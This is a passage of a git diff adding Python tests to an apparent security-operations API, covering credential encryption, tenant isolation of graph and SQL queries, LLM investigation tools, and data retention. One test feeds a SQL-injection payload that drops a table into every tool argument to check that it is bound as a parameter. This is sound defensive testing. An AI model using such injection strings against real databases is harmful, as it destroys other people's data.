+``EnvelopeCipher`` existed, was unit-tested, and had zero callers, while the
+threat model cited it as the control mitigating "a DB dump exposes every
+connector credential". Wiring it is only half the job: the risk in switching
+a credential store's format is stranding the secrets already stored, so these
+tests are weighted towards the compatibility boundary rather than the crypto,
+which ``test_envelope_cipher.py`` already covers.
+"""
+
+from __future__ import annotations
+
+import pytest
+from app.core.config import settings
+from app.security.credential_vault import (
+ CredentialVault,
+ CredentialVaultError,
+ _build_envelope,
+ get_vault,
+ reset_vault_for_tests,
+)
+from app.security.envelope_cipher import EnvelopeCipher, LocalKeyManager
+from cryptography.fernet import Fernet
+
+PRIMARY = Fernet.generate_key()
+KEK = Fernet.generate_key()
+
+
+def _envelope() -> EnvelopeCipher:
+ return EnvelopeCipher(LocalKeyManager(KEK))
+
+
+class TestWritePath:
+ def test_default_still_writes_v1(self) -> None:
+ vault = CredentialVault(PRIMARY)
+ token = vault.encrypt("s3cret")
+ assert token.startswith("vault:v1:")
+ assert vault.decrypt(token) == "s3cret"
+
+ def test_envelope_mode_writes_v2(self) -> None:
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ token = vault.encrypt("s3cret")
+ assert token.startswith("vault:v2:")
+ assert vault.decrypt(token) == "s3cret"
+
+ def test_v2_token_does_not_contain_the_secret(self) -> None:
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ assert "AKIAIOSFODNN7EXAMPLE" not in vault.encrypt("AKIAIOSFODNN7EXAMPLE")
+
+ def test_each_secret_gets_a_distinct_dek(self) -> None:
+ """The blast-radius property: one leaked DEK must expose one secret."""
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ a = vault.encrypt("same value")
+ b = vault.encrypt("same value")
+ assert a != b
+ wrapped_a = a.split(":")[3]
+ wrapped_b = b.split(":")[3]
+ assert wrapped_a != wrapped_b
+
+ def test_encrypt_is_idempotent_across_both_versions(self) -> None:
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ v2 = vault.encrypt("x")
+ assert vault.encrypt(v2) == v2
+ v1 = CredentialVault(PRIMARY).encrypt("x")
+ assert vault.encrypt(v1) == v1, "a v1 token must not be double-encrypted into v2"
+
+
+class TestReadCompatibility:
+ """Enabling envelope mode must not strand secrets written before it."""
+
+ def test_v1_written_before_the_switch_still_reads(self) -> None:
+ before = CredentialVault(PRIMARY)
+ token = before.encrypt("legacy-credential")
+
+ after = CredentialVault.with_envelope(PRIMARY, _envelope())
+ assert after.decrypt(token) == "legacy-credential"
+
+ def test_mixed_dict_round_trips(self) -> None:
+ """A real auth_config mid-migration: some leaves v1, some v2."""
+ legacy = CredentialVault(PRIMARY)
+ payload = {
+ "api_key": legacy.encrypt("old-key"),
+ "region": "us-east-1",
+ "nested": {"token": legacy.encrypt("old-token")},
+ }
+
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ payload["client_secret"] = vault.encrypt("new-secret")
+
+ out = vault.decrypt_dict(payload)
+ assert out["api_key"] == "old-key"
+ assert out["nested"]["token"] == "old-token"
+ assert out["client_secret"] == "new-secret"
+ assert out["region"] == "us-east-1"
+
+ def test_rewriting_a_row_upgrades_it_to_v2(self) -> None:
+ """The documented migration path: rows upgrade when next written."""
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ legacy_token = CredentialVault(PRIMARY).encrypt("secret")
+ plaintext = vault.decrypt(legacy_token)
+ assert vault.encrypt(plaintext).startswith("vault:v2:")
+
+ def test_plaintext_still_passes_through(self) -> None:
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ assert vault.decrypt("not-encrypted-at-all") == "not-encrypted-at-all"
+
+
+class TestFailClosed:
+ def test_v2_token_without_an_envelope_is_an_error_not_a_passthrough(self) -> None:
+ """The dangerous case: disabling envelope mode with v2 rows present.
+
+ Returning the token unchanged would hand ciphertext to a connector as
+ if it were a credential, producing a vendor auth failure that looks
+ like a customer configuration problem.
+ """
+ token = CredentialVault.with_envelope(PRIMARY, _envelope()).encrypt("secret")
+ plain_vault = CredentialVault(PRIMARY)
+ with pytest.raises(CredentialVaultError, match="envelope encryption is disabled"):
+ plain_vault.decrypt(token)
+
+ def test_wrong_kek_fails_closed(self) -> None:
+ token = CredentialVault.with_envelope(PRIMARY, _envelope()).encrypt("secret")
+ other = EnvelopeCipher(LocalKeyManager(Fernet.generate_key()))
+ with pytest.raises(CredentialVaultError, match="envelope decrypt failed"):
+ CredentialVault.with_envelope(PRIMARY, other).decrypt(token)
+
+ def test_tampered_v2_token_fails_closed(self) -> None:
+ vault = CredentialVault.with_envelope(PRIMARY, _envelope())
+ token = vault.encrypt("secret")
+ head, _, tail = token.rpartition(":")
+ tampered = f"{head}:{'A' + tail[1:]}"
+ with pytest.raises(CredentialVaultError):
+ vault.decrypt(tampered)
+
+
+class TestConfiguration:
+ @pytest.fixture(autouse=True)
+ def _reset(self) -> None:
+ reset_vault_for_tests()
+ yield
+ reset_vault_for_tests()
+
+ def test_off_is_the_default(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "off")
+ assert _build_envelope() is None
+
+ @pytest.mark.parametrize("value", ["", "off", "OFF", "none", "0", "false"])
+ def test_disabled_spellings(self, monkeypatch: pytest.MonkeyPatch, value: str) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", value)
+ assert _build_envelope() is None
+
+ def test_local_mode_requires_a_kek(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "local")
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEK", "")
+ with pytest.raises(CredentialVaultError, match="AISOC_CREDENTIAL_KEK"):
+ _build_envelope()
+
+ def test_local_mode_builds(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "local")
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEK", KEK.decode())
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEK_ROTATION_FROM", "")
+ cipher = _build_envelope()
+ assert cipher is not None
+ assert cipher.decrypt(cipher.encrypt("v")) == "v"
+
+ def test_aws_mode_requires_a_key_id(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "aws")
+ monkeypatch.setattr(settings, "AISOC_KMS_KEY_ID", "")
+ with pytest.raises(CredentialVaultError, match="AISOC_KMS_KEY_ID"):
+ _build_envelope()
+
+ def test_unknown_mode_refuses_rather_than_silently_downgrading(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """A typo must not leave the deployment writing v1 while believing v2."""
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "kms-v2")
+ with pytest.raises(CredentialVaultError, match="not recognised"):
+ _build_envelope()
+
+ def test_get_vault_honours_the_setting(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEY", PRIMARY.decode())
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEY_ROTATION_FROM", "")
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_ENVELOPE", "local")
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEK", KEK.decode())
+ monkeypatch.setattr(settings, "AISOC_CREDENTIAL_KEK_ROTATION_FROM", "")
+ assert get_vault().encrypt("s").startswith("vault:v2:")
diff --git a/services/api/tests/test_incident_context.py b/services/api/tests/test_incident_context.py
new file mode 100644
index 000000000..49735264f
--- /dev/null
+++ b/services/api/tests/test_incident_context.py
@@ -0,0 +1,273 @@
+"""The incident traversal must stay inside its tenant and fail legibly.
+
+Two classes of bug matter here and neither shows up in a happy-path test.
+
+Cross-tenant leakage: a traversal scoped only at its start node walks out
+through a shared entity — a public IP two tenants have both seen — and
+enumerates the other tenant's estate. This is the highest-value
+reconnaissance query in the product, so every node of every path is scoped
+and these tests read the generated Cypher to prove it.
+
+Silent emptiness: an unreachable graph and an alert with genuinely no context
+both produce an empty bundle. An agent cannot tell them apart, so it treats
+"we could not look" as "there is nothing to find". Partial results must name
+what failed.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import re
+from typing import Any
+
+import pytest
+from app.services import incident_context as module
+from app.services.incident_context import (
+ _DIMENSIONS,
+ GLOBAL_LABELS,
+ LIMIT_ASSETS,
+ IncidentContext,
+ get_incident_context,
+)
+
+
+def _bound_variables(cypher: str) -> dict[str, str]:
+ """Variables bound by MATCH / OPTIONAL MATCH, mapped to their label."""
+ bound: dict[str, str] = {}
+ for line in cypher.splitlines():
+ stripped = line.strip()
+ if not stripped.startswith(("MATCH", "OPTIONAL MATCH")):
+ continue
+ for var, label in re.findall(r"\(\s*(\w+)\s*:\s*(\w+)", stripped):
+ bound[var] = label
+ return bound
+
+
+TENANT = "11111111-1111-1111-1111-111111111111"
+ALERT = "alert-abc"
+
+
+class FakeResult:
+ def __init__(self, rows: list[dict[str, Any]]) -> None:
+ self._rows = rows
+
+ async def data(self) -> list[dict[str, Any]]:
+ return self._rows
+
+
+class FakeSession:
+ """Answers each dimension by matching on a distinctive token in its Cypher."""
+
+ def __init__(self, answers: dict[str, list[dict[str, Any]]] | None = None) -> None:
+ self.answers = answers or {}
+ self.queries: list[tuple[str, dict[str, Any]]] = []
+
+ async def run(self, cypher: str, **params: Any) -> FakeResult:
+ self.queries.append((cypher, params))
+ for token, key in (
+ ("Employee)-[:AUTHENTICATES_AS]", "identities"),
+ ("AFFECTED_BY", "assets"),
+ ("IN_ACCOUNT", "cloud"),
+ (":RUNS]->(app:Application)", "business"),
+ ("OBSERVED_IOC", "threat"),
+ ):
+ if token in cypher:
+ return FakeResult(self.answers.get(key, []))
+ return FakeResult([])
+
+
+class TestTenantScoping:
+ def test_every_matched_variable_is_scoped_or_globally_exempt(self) -> None:
+ """Not just the start node.
+
+ A path scoped only at its origin can leave the tenant through any
+ shared node it traverses. The only acceptable exception is a label
+ that holds no tenant data at all (MITRE vocabulary, public threat
+ intel, CVE reference), and those are enumerated in GLOBAL_LABELS.
+ """
+ for name, cypher, _ in _DIMENSIONS:
+ bound = _bound_variables(cypher)
+ assert bound, f"{name}: parsed no bound variables; the test is vacuous"
+
+ for var, label in bound.items():
+ if label in GLOBAL_LABELS:
+ continue
+ assert f"{var}.tenant_id = $tenant_id" in cypher, (
+ f"{name}: variable {var!r} (:{label}) is matched but never "
+ f"tenant-scoped, and {label} is not global reference data. "
+ f"A traversal through it can leave the tenant."
+ )
+
+ def test_global_labels_are_never_traversed_through(self) -> None:
+ """A global node inside a variable-length hop is a cross-tenant bridge.
+
+ Reaching a shared CVE or malware node from tenant A is fine. Walking
+ *onward* from it is how the traversal arrives in tenant B's estate,
+ so global labels may only ever appear as a terminal hop.
+ """
+ for name, cypher, _ in _DIMENSIONS:
+ for line in cypher.splitlines():
+ if "*" not in line:
+ continue
+ # A variable-length pattern. Whatever it binds must be
+ # tenant-scoped, never a global label.
+ for var, label in _bound_variables(line).items():
+ assert label not in GLOBAL_LABELS, (
+ f"{name}: variable-length pattern binds global label " f"{label} as {var!r}; that node can bridge tenants"
+ )
+
+ def test_null_tenant_is_not_treated_as_readable(self) -> None:
+ """An untagged node would otherwise bridge two tenants."""
+ for name, cypher, _ in _DIMENSIONS:
+ assert "tenant_id IS NULL" not in cypher, name
+
+ def test_global_reference_labels_are_the_only_exemption(self) -> None:
+ for name, cypher, _ in _DIMENSIONS:
+ if "$global_labels" in cypher:
+ assert "labels(" in cypher, name
+ # MITRE vocabulary and public intel are shared; tenant data is not.
+ assert "Technique" in GLOBAL_LABELS and "ThreatActor" in GLOBAL_LABELS
+ assert not any(
+ label in GLOBAL_LABELS for label in ("Employee", "Application", "CloudAccount", "Secret", "IOC")
+ ), "a tenant-scoped label was exempted from scoping"
+
+ async def test_tenant_id_is_bound_as_a_parameter(self) -> None:
+ """Interpolating it would make the predicate injectable."""
+ session = FakeSession()
+ await get_incident_context(ALERT, TENANT, session=session)
+ assert session.queries
+ for cypher, params in session.queries:
+ assert params["tenant_id"] == TENANT
+ assert TENANT not in cypher, "tenant id was interpolated into the query text"
+
+
+class TestBoundedFanOut:
+ def test_every_dimension_has_a_limit(self) -> None:
+ """A traversal from a jump host is not slow, it is unbounded."""
+ for name, cypher, extra in _DIMENSIONS:
+ assert "LIMIT $limit" in cypher, f"{name} has no row cap"
+ assert extra.get("limit", 0) > 0, name
+
+ async def test_limits_are_passed_through(self) -> None:
+ session = FakeSession()
+ await get_incident_context(ALERT, TENANT, session=session)
+ asset_query = next(q for q in session.queries if "AFFECTED_BY" in q[0])
+ assert asset_query[1]["limit"] == LIMIT_ASSETS
+ assert asset_query[1]["vuln_limit"] > 0
+
+
+class TestPartialResults:
+ async def test_one_failing_dimension_does_not_lose_the_others(self) -> None:
+ class PartlyBroken(FakeSession):
+ async def run(self, cypher: str, **params: Any) -> FakeResult:
+ if "OBSERVED_IOC" in cypher:
+ raise RuntimeError("threat store unavailable")
+ return await super().run(cypher, **params)
+
+ session = PartlyBroken({"identities": [{"account": "svc_backup", "employee": "Dana Reed"}]})
+ ctx = await get_incident_context(ALERT, TENANT, session=session)
+
+ assert ctx.identities, "a failure in one dimension discarded another"
+ assert ctx.is_partial
+ assert any("threat" in e for e in ctx.errors)
+
+ async def test_unreachable_graph_is_distinguishable_from_no_context(self) -> None:
+ """Both produce an empty bundle; only one is a finding."""
+
+ class Dead(FakeSession):
+ async def run(self, cypher: str, **params: Any) -> FakeResult:
+ raise ConnectionError("neo4j down")
+
+ unreachable = await get_incident_context(ALERT, TENANT, session=Dead())
+ genuinely_empty = await get_incident_context(ALERT, TENANT, session=FakeSession())
+
+ assert unreachable.errors and not genuinely_empty.errors
+ assert unreachable.is_partial and not genuinely_empty.is_partial
+ assert unreachable.dimensions_resolved == genuinely_empty.dimensions_resolved == 0
+
+ async def test_a_slow_dimension_does_not_hang_the_bundle(self) -> None:
+ """This sits on the hot path of every escalated alert."""
+
+ class Slow(FakeSession):
+ async def run(self, cypher: str, **params: Any) -> FakeResult:
+ if "IN_ACCOUNT" in cypher:
+ await asyncio.sleep(5)
+ return await super().run(cypher, **params)
+
+ original = module.QUERY_TIMEOUT_SECONDS
+ module.QUERY_TIMEOUT_SECONDS = 0.05
+ try:
+ ctx = await asyncio.wait_for(
+ get_incident_context(ALERT, TENANT, session=Slow({"assets": [{"id": "h1"}]})),
+ timeout=3,
+ )
+ finally:
+ module.QUERY_TIMEOUT_SECONDS = original
+
+ assert ctx.assets, "a slow dimension blocked a fast one"
+ assert any("cloud" in e for e in ctx.errors)
+
+
+class TestNarrative:
+ def test_departed_employee_with_a_live_account_is_called_out(self) -> None:
+ """The single highest-signal fact this traversal can produce."""
+ ctx = IncidentContext(alert_id=ALERT, tenant_id=TENANT)
+ ctx.identities = [{"account": "j.doe", "employee": "Jordan Doe", "is_active": False}]
+ text = "\n".join(ctx.narrative_lines())
+ assert "no longer active" in text
+
+ def test_attribution_is_never_rendered_as_fact(self) -> None:
+ """Attribution is contested and frequently revised."""
+ ctx = IncidentContext(alert_id=ALERT, tenant_id=TENANT)
+ ctx.threat = [{"ioc": "1.2.3.4", "actor": "APT-Example"}]
+ text = "\n".join(ctx.narrative_lines())
+ assert "unconfirmed" in text
+
+ ctx.threat = [{"ioc": "1.2.3.4", "actor": "APT-Example", "attribution_confidence": 80}]
+ assert "confidence 80" in "\n".join(ctx.narrative_lines())
+
+ def test_known_exploited_vulnerabilities_are_counted_separately(self) -> None:
+ ctx = IncidentContext(alert_id=ALERT, tenant_id=TENANT)
+ ctx.assets = [
+ {
+ "name": "web-01",
+ "vulnerabilities": [
+ {"cve_id": "CVE-2026-1", "known_exploited": True},
+ {"cve_id": "CVE-2026-2", "known_exploited": False},
+ ],
+ }
+ ]
+ text = "\n".join(ctx.narrative_lines())
+ assert "2 known vulnerabilities" in text and "1 known-exploited" in text
+
+ def test_partial_context_says_so_in_the_prompt(self) -> None:
+ """Otherwise the model reasons over a gap it cannot see."""
+ ctx = IncidentContext(alert_id=ALERT, tenant_id=TENANT)
+ ctx.identities = [{"account": "a"}]
+ ctx.errors = ["threat (ConnectionError)"]
+ assert "context is partial" in "\n".join(ctx.narrative_lines())
+
+ def test_no_context_renders_nothing_rather_than_empty_headings(self) -> None:
+ ctx = IncidentContext(alert_id=ALERT, tenant_id=TENANT)
+ assert ctx.narrative_lines() == []
+
+
+async def test_null_columns_are_dropped_from_rows() -> None:
+ """Neo4j returns every RETURN key even when an OPTIONAL MATCH missed."""
+ session = FakeSession({"identities": [{"account": "svc", "employee": None, "manager": None, "title": ""}]})
+ ctx = await get_incident_context(ALERT, TENANT, session=session)
+ assert ctx.identities == [{"account": "svc"}]
+
+
+async def test_all_five_dimensions_are_queried() -> None:
+ session = FakeSession()
+ await get_incident_context(ALERT, TENANT, session=session)
+ assert len(session.queries) == 5, "a dimension was dropped from the traversal"
+
+
[email protected]("dimension", ["identities", "assets", "cloud", "business", "threat"])
+async def test_each_dimension_populates_its_own_slot(dimension: str) -> None:
+ session = FakeSession({dimension: [{"id": "x", "account_id": "1", "name": "n", "ioc": "i"}]})
+ ctx = await get_incident_context(ALERT, TENANT, session=session)
+ assert getattr(ctx, dimension), f"{dimension} query ran but its slot stayed empty"
+ assert ctx.dimensions_resolved == 1
diff --git a/services/api/tests/test_investigation_tools.py b/services/api/tests/test_investigation_tools.py
new file mode 100644
index 000000000..6609847f9
--- /dev/null
+++ b/services/api/tests/test_investigation_tools.py
@@ -0,0 +1,223 @@
+"""Investigation primitives must stay in their tenant and never fabricate.
+
+Two properties carry the weight.
+
+The model never writes SQL, and never supplies a tenant. Handing an LLM the
+lake query endpoint would put prompt-injectable text one step from the query
+planner, and the tenant predicate is the only thing between two customers'
+data. Every tool composes its own parameterised query here and binds the
+tenant from the authenticated session.
+
+A tool that cannot answer says why. Mailbox activity, OAuth grants and
+parent-process lineage are not columns in aisoc.raw_events. Returning an
+empty result set for those reads to a model as "I checked and there is
+nothing", which is how an investigation concludes benign on evidence it never
+had. They return available=false with the missing data class named.
+"""
+
+from __future__ import annotations
+
+import uuid
+from typing import Any
+
+import pytest
+from app.services import investigation_tools as module
+from app.services.investigation_tools import (
+ BACKED_TOOLS,
+ MAX_ROWS,
+ TOOLS,
+ UNAVAILABLE_DATA,
+ ToolResult,
+ dispatch,
+)
+
+TENANT = uuid.UUID("44444444-4444-4444-4444-444444444444")
+OTHER_TENANT = "55555555-5555-5555-5555-555555555555"
+
+
+class FakeLakeResult:
+ def __init__(self, columns: list[str], rows: list[list[Any]]) -> None:
+ self.columns = columns
+ self.rows = rows
+
+
+def captured(monkeypatch: pytest.MonkeyPatch) -> list[tuple[str, dict[str, Any]]]:
+ """Capture every composed query instead of running it."""
+ calls: list[tuple[str, dict[str, Any]]] = []
+
+ async def fake(sql: str, *, params: dict[str, Any] | None = None, **kw: Any) -> FakeLakeResult:
+ calls.append((sql, params or {}))
+ return FakeLakeResult(["a", "b"], [["x", 1]])
+
+ monkeypatch.setattr(module, "execute_lake_query", fake)
+ return calls
+
+
+BACKED_CALLS: list[tuple[str, dict[str, Any]]] = [
+ ("process_activity", {"hostname": "WS-42"}),
+ ("historical_execution", {"sha256": "abc123"}),
+ ("historical_execution", {"process_name": "evil.exe"}),
+ ("network_connections", {"hostname": "WS-42"}),
+ ("network_connections", {"source_ip": "10.0.0.5"}),
+ ("authentication_events", {"user_name": "j.doe"}),
+ ("fleet_ioc_hunt", {"indicator": "203.0.113.9"}),
+ ("entity_timeline", {"hostname": "WS-42"}),
+ ("entity_timeline", {"user_name": "j.doe"}),
+ ("technique_activity", {"technique_id": "T1059.001"}),
+]
+
+#: Tools whose data class nothing ingests, with the arguments their own
+#: schema declares.
+UNBACKED_CALLS: list[tuple[str, dict[str, Any]]] = [
+ ("process_tree", {"hostname": "WS-42"}),
+ ("mailbox_activity", {"user_name": "j.doe"}),
+ ("oauth_grants", {"user_name": "j.doe"}),
+ ("persistence_mechanisms", {"hostname": "WS-42"}),
+]
+
+
+class TestTenantScoping:
+ @pytest.mark.parametrize(("tool", "args"), BACKED_CALLS)
+ async def test_every_query_binds_the_tenant(self, captured: list[Any], tool: str, args: dict[str, Any]) -> None:
+ await dispatch(tool, TENANT, args)
+ assert captured, f"{tool} ran no query"
+ sql, params = captured[-1]
+ assert "tenant_id = %(tenant_id)s" in sql, f"{tool}: no tenant predicate"
+ assert params["tenant_id"] == str(TENANT)
+
+ @pytest.mark.parametrize(("tool", "args"), BACKED_CALLS)
+ async def test_the_tenant_is_never_interpolated(self, captured: list[Any], tool: str, args: dict[str, Any]) -> None:
+ await dispatch(tool, TENANT, args)
+ sql, _ = captured[-1]
+ assert str(TENANT) not in sql, f"{tool}: tenant id interpolated into the SQL text"
+
+ async def test_a_model_supplied_tenant_is_discarded(self, captured: list[Any]) -> None:
+ """The single most valuable argument to prompt-inject."""
+ await dispatch(
+ "process_activity",
+ TENANT,
+ {"hostname": "WS-42", "tenant_id": OTHER_TENANT},
+ )
+ _, params = captured[-1]
+ assert params["tenant_id"] == str(TENANT)
+ assert OTHER_TENANT not in str(params)
+
+ @pytest.mark.parametrize(("tool", "args"), BACKED_CALLS)
+ async def test_user_input_is_bound_not_interpolated(self, captured: list[Any], tool: str, args: dict[str, Any]) -> None:
+ """Entity names come from alert payloads, which are untrusted."""
+ injected = {k: "'; DROP TABLE aisoc.raw_events; --" for k in args}
+ await dispatch(tool, TENANT, injected)
+ sql, params = captured[-1]
+ assert "DROP TABLE" not in sql
+ assert any("DROP TABLE" in str(v) for v in params.values())
+
+
+class TestUnavailableData:
+ @pytest.mark.parametrize(("tool", "args"), UNBACKED_CALLS)
+ async def test_missing_data_classes_report_why(self, captured: list[Any], tool: str, args: dict[str, Any]) -> None:
+ result = await dispatch(tool, TENANT, args)
+ assert result.available is False
+ assert result.rows == []
+ # Specifically an ingestion gap, not an argument error. Both set
+ # available=False, so asserting only the flag passes for the wrong
+ # reason — which is how this test was originally written.
+ assert "not ingested" in (result.reason or "") or "not stored" in (
+ result.reason or ""
+ ), f"{tool} reported unavailable for a reason other than missing data: {result.reason}"
+ assert captured == [], f"{tool} queried the lake for a column that does not exist"
+
+ @pytest.mark.parametrize(("tool", "args"), UNBACKED_CALLS)
+ async def test_the_reason_names_the_connector_that_would_fix_it(self, tool: str, args: dict[str, Any]) -> None:
+ """A gap the operator can close beats a gap they can only observe."""
+ result = await dispatch(tool, TENANT, args)
+ assert "connector" in (result.reason or "").lower()
+
+ def test_unavailable_and_empty_are_different_shapes(self) -> None:
+ """The distinction the whole design rests on."""
+ unavailable = ToolResult(tool="mailbox_activity", available=False, reason="not ingested")
+ empty = ToolResult(tool="process_activity", available=True, rows=[], row_count=0)
+
+ assert unavailable.as_dict()["available"] is False
+ assert empty.as_dict()["available"] is True
+ assert "reason" in unavailable.as_dict()
+ assert "reason" not in empty.as_dict()
+
+ def test_backed_and_unbacked_tools_are_declared_explicitly(self) -> None:
+ assert BACKED_TOOLS < set(TOOLS)
+ assert set(UNAVAILABLE_DATA) and (set(TOOLS) - BACKED_TOOLS)
+
+
+class TestBounds:
+ async def test_row_limit_is_clamped(self, captured: list[Any]) -> None:
+ await dispatch("process_activity", TENANT, {"hostname": "h", "limit": 99_999})
+ _, params = captured[-1]
+ assert params["limit"] == MAX_ROWS
+
+ async def test_lookback_is_clamped(self, captured: list[Any]) -> None:
+ await dispatch("process_activity", TENANT, {"hostname": "h", "hours": 10_000_000})
+ _, params = captured[-1]
+ assert params["hours"] <= module.MAX_LOOKBACK_DAYS * 24
+
+ async def test_nonsense_lookback_falls_back_to_the_default(self, captured: list[Any]) -> None:
+ await dispatch("process_activity", TENANT, {"hostname": "h", "hours": -5})
+ _, params = captured[-1]
+ assert params["hours"] == module.DEFAULT_LOOKBACK_HOURS
+
+ async def test_a_capped_result_says_it_is_capped(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """Otherwise the model reads a truncated set as the complete one."""
+
+ async def full(sql: str, *, params: dict[str, Any] | None = None, **kw: Any) -> FakeLakeResult:
+ return FakeLakeResult(["a"], [["x"]] * (params or {}).get("limit", 0))
+
+ monkeypatch.setattr(module, "execute_lake_query", full)
+ result = await dispatch("process_activity", TENANT, {"hostname": "h", "limit": 10})
+ payload = result.as_dict()
+ assert payload["truncated"] is True
+ assert "do not treat this as the full set" in payload["note"]
+
+
+class TestFailureHandling:
+ async def test_a_lake_failure_is_not_reported_as_no_results(self, monkeypatch: pytest.MonkeyPatch) -> None:
+ """A failed lookup and an empty answer must not read the same."""
+
+ async def boom(sql: str, **kw: Any) -> FakeLakeResult:
+ raise ConnectionError("clickhouse unreachable")
+
+ monkeypatch.setattr(module, "execute_lake_query", boom)
+ result = await dispatch("process_activity", TENANT, {"hostname": "h"})
+
+ assert result.available is False
+ assert "not an absence of evidence" in (result.reason or "")
+
+ async def test_unknown_tool_lists_what_exists(self) -> None:
+ result = await dispatch("nonexistent_tool", TENANT, {})
+ assert result.available is False
+ assert "process_activity" in (result.reason or "")
+
+ async def test_bad_arguments_are_reported_not_raised(self) -> None:
+ result = await dispatch("process_activity", TENANT, {"not_a_parameter": 1})
+ assert result.available is False
+ assert "Invalid arguments" in (result.reason or "")
+
+ async def test_tools_needing_one_of_two_arguments_say_so(self) -> None:
+ for tool in ("historical_execution", "network_connections", "entity_timeline"):
+ result = await dispatch(tool, TENANT, {})
+ assert result.available is False
+ assert "Supply either" in (result.reason or ""), tool
+
+
+async def test_every_declared_tool_is_dispatchable(captured: list[Any]) -> None:
+ """A name in TOOLS that cannot be called is a schema the model cannot use.
+
+ Each tool is called with the arguments its own schema declares, so an
+ argument-shape error is a failure rather than something the assertion
+ quietly accepts.
+ """
+ covered = {tool for tool, _ in BACKED_CALLS + UNBACKED_CALLS}
+ assert covered == set(TOOLS), f"tools with no dispatch case in this test: {sorted(set(TOOLS) - covered)}"
+
+ for name, args in BACKED_CALLS + UNBACKED_CALLS:
+ result = await dispatch(name, TENANT, args)
+ assert isinstance(result, ToolResult), name
+ assert "Invalid arguments" not in (result.reason or ""), f"{name} rejected the arguments its own schema advertises: {result.reason}"
diff --git a/services/api/tests/test_retention_worker.py b/services/api/tests/test_retention_worker.py
new file mode 100644
index 000000000..4c88025bf
--- /dev/null
+++ b/services/api/tests/test_retention_worker.py
@@ -0,0 +1,255 @@
+"""The retention purge must delete, and must delete only what it should.
+
+``test_retention.py`` asserts the purge SQL is well-formed. That is a useful
+property and a misleading gate: it passed for several releases while nothing
+called the SQL, so "per-tenant retention with tenant-scoped purge" was marked
+GATED by a test that could not have failed if the feature were removed.
+
+These tests exercise the worker that now runs it, and concentrate on the two
+ways a purge goes wrong in production: deleting another tenant's data, and
+appearing to work while deleting nothing.
+"""
+
+from __future__ import annotations
+
+import uuid
+from typing import Any
+
+import pytest
+from app.services.retention import build_alert_purge_sql, build_lake_purge_sql
+from app.workers import retention_purge
+from app.workers.retention_purge import (
+ build_alert_count_sql,
+ build_lake_count_sql,
+ run_once,
+)
+
+TENANT_A = uuid.UUID("11111111-1111-1111-1111-111111111111")
+TENANT_B = uuid.UUID("22222222-2222-2222-2222-222222222222")
+
+
+class FakeResult:
+ def __init__(self, rows: list[tuple[Any, ...]]) -> None:
+ self.rows = rows
+
+
+class FakeScalarResult:
+ def __init__(self, value: Any) -> None:
+ self._value = value
+
+ def scalar_one(self) -> Any:
+ return self._value
+
+ def mappings(self) -> list[dict[str, Any]]:
+ return self._value if isinstance(self._value, list) else []
+
+
+class FakeSession:
+ """Records every statement so tenant scoping can be asserted, not assumed."""
+
+ def __init__(self, policies: list[dict[str, Any]], alert_counts: dict[str, int]) -> None:
+ self._policies = policies
+ self._alert_counts = alert_counts
+ self.statements: list[tuple[str, dict[str, Any]]] = []
+ self.committed = False
+
+ async def execute(self, stmt: Any, params: dict[str, Any] | None = None) -> Any:
+ sql = str(stmt)
+ self.statements.append((sql, dict(params or {})))
+ if "FROM retention_policies" in sql:
+ return FakeScalarResult(self._policies)
+ if sql.strip().upper().startswith("SELECT COUNT(*) FROM ALERTS"):
+ return FakeScalarResult(self._alert_counts.get(str((params or {}).get("tenant_id")), 0))
+ return FakeScalarResult(None)
+
+ async def commit(self) -> None:
+ self.committed = True
+
+ async def close(self) -> None: # pragma: no cover - not used with injected session
+ pass
+
+ def deletes(self) -> list[tuple[str, dict[str, Any]]]:
+ return [(s, p) for s, p in self.statements if s.strip().upper().startswith("DELETE")]
+
+
+def _policy(tenant: uuid.UUID, raw: int = 30, alerts: int = 60) -> dict[str, Any]:
+ return {
+ "tenant_id": tenant,
+ "raw_events_days": raw,
+ "alerts_days": alerts,
+ "audit_days": 730,
+ }
+
+
+def lake_calls(monkeypatch: pytest.MonkeyPatch) -> list[tuple[str, dict[str, Any] | None]]:
+ """Capture ClickHouse statements and answer counts with a fixed number."""
+ calls: list[tuple[str, dict[str, Any] | None]] = []
+
+ async def fake_execute(sql: str, **kwargs: Any) -> FakeResult:
+ calls.append((sql, kwargs.get("extra_settings")))
+ if sql.lstrip().upper().startswith("SELECT COUNT()"):
+ return FakeResult([(7,)])
+ return FakeResult([])
+
+ monkeypatch.setattr(retention_purge, "execute_lake_query", fake_execute)
+ return calls
+
+
+class TestItActuallyDeletes:
+ async def test_live_run_issues_the_delete(self, lake_calls: list[Any]) -> None:
+ db = FakeSession([_policy(TENANT_A)], {str(TENANT_A): 4})
+ run = await run_once(db=db, dry_run=False)
+
+ assert run.lake_rows == 7
+ assert run.alert_rows == 4
+ assert db.committed
+
+ assert any("ALTER TABLE aisoc.raw_events DELETE" in sql for sql, _ in lake_calls)
